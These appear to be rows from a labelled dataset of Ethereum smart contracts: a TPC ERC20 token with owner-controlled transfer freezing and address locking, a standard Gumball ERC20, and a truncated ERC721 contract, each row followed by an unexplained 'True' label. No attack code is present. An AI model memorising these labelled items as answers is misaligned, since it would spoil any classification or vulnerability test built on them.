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stringlengths 52
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|---|---|---|---|
pragma solidity ^0.4.24;
/*********************************************************************************
*********************************************************************************
*
* Token Name: TPC Token
* Contract Name: Third Payment Circulation
* Author: kolidat#gmail.com
* Developed for: TPC LLC.
* TPC is an ERC20 Token
*
*********************************************************************************
********************************************************************************/
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender ) public view returns (uint _allowance);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value ) public returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
}
contract Lockable {
bool public tokenTransfer;
address public owner;
mapping( address => bool ) public unlockaddress;
mapping( address => bool ) public lockaddress;
event Locked(address lockaddress, bool status);
event Unlocked(address unlockedaddress, bool status);
// if Token transfer
modifier isTokenTransfer {
// if token transfer is not allow
if(!tokenTransfer) {
require(unlockaddress[msg.sender]);
}
_;
}
// This modifier check whether the contract should be in a locked
// or unlocked state, then acts and updates accordingly if
// necessary
modifier checkLock {
if (lockaddress[msg.sender]) {
revert();
}
_;
}
modifier isOwner {
require(owner == msg.sender);
_;
}
constructor () public {
tokenTransfer = false;
owner = msg.sender;
}
// Lock Address
function lockAddress(address target, bool status)
external
isOwner
{
require(owner != target);
lockaddress[target] = status;
emit Locked(target, status);
}
// UnLock Address
function unlockAddress(address target, bool status)
external
isOwner
{
unlockaddress[target] = status;
emit Unlocked(target, status);
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract TPCToken is ERC20, Lockable {
using SafeMath for uint;
mapping( address => uint ) _balances;
mapping( address => mapping( address => uint ) ) _approvals;
uint _supply;
string public constant name = "TPC Token";
string public constant symbol = "TPC";
uint8 public constant decimals = 18; // 18 decimal places, the same as ETH.
event TokenBurned(address burnAddress, uint amountOfTokens);
event TokenTransfer();
constructor () public {
uint initial_balance = 2 * 10 ** 28; // Total supply is 20 billions TPC Tokens
_balances[msg.sender] = initial_balance;
_supply = initial_balance;
}
function totalSupply() view public returns (uint supply) {
return _supply;
}
function balanceOf(address who) view public returns (uint value) {
return _balances[who];
}
function allowance(address owner, address spender) view public returns (uint _allowance) {
return _approvals[owner][spender];
}
function transfer(address to, uint value) public
isTokenTransfer
checkLock
returns (bool success) {
require(_balances[msg.sender] >= value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public
isTokenTransfer
checkLock
returns (bool success) {
// if you don't have enough balance, throw
require(_balances[from] >= value);
// if you don't have approval, throw
require(_approvals[from][msg.sender] >= value);
// transfer and return true
_approvals[from][msg.sender] = _approvals[from][msg.sender].sub(value);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public
isTokenTransfer
checkLock
returns (bool success) {
_approvals[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
// burnToken burn tokensAmount for sender balance
function burnTokens(uint tokensAmount)
isTokenTransfer
external
{
require(_balances[msg.sender] >= tokensAmount);
_balances[msg.sender] = _balances[msg.sender].sub(tokensAmount);
_supply = _supply.sub(tokensAmount);
emit TokenBurned(msg.sender, tokensAmount);
}
function enableTokenTransfer()
external
isOwner {
tokenTransfer = true;
emit TokenTransfer();
}
function disableTokenTransfer()
external
isOwner {
tokenTransfer = false;
emit TokenTransfer();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
/**
Gumball Metaverse / https://t.me/gumballmetaverse / 0 % Tax 0% Fees / 7.5% Team Tokens
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract GUMBALL is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 10000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('Gumball Metaverse', 'GUMBALL') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-21
*/
// SPDX-License-Identifier: MIT
// Amended by CartArtMillionaireMaker
/**
*
*
*
*
*
*
*
*
*
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
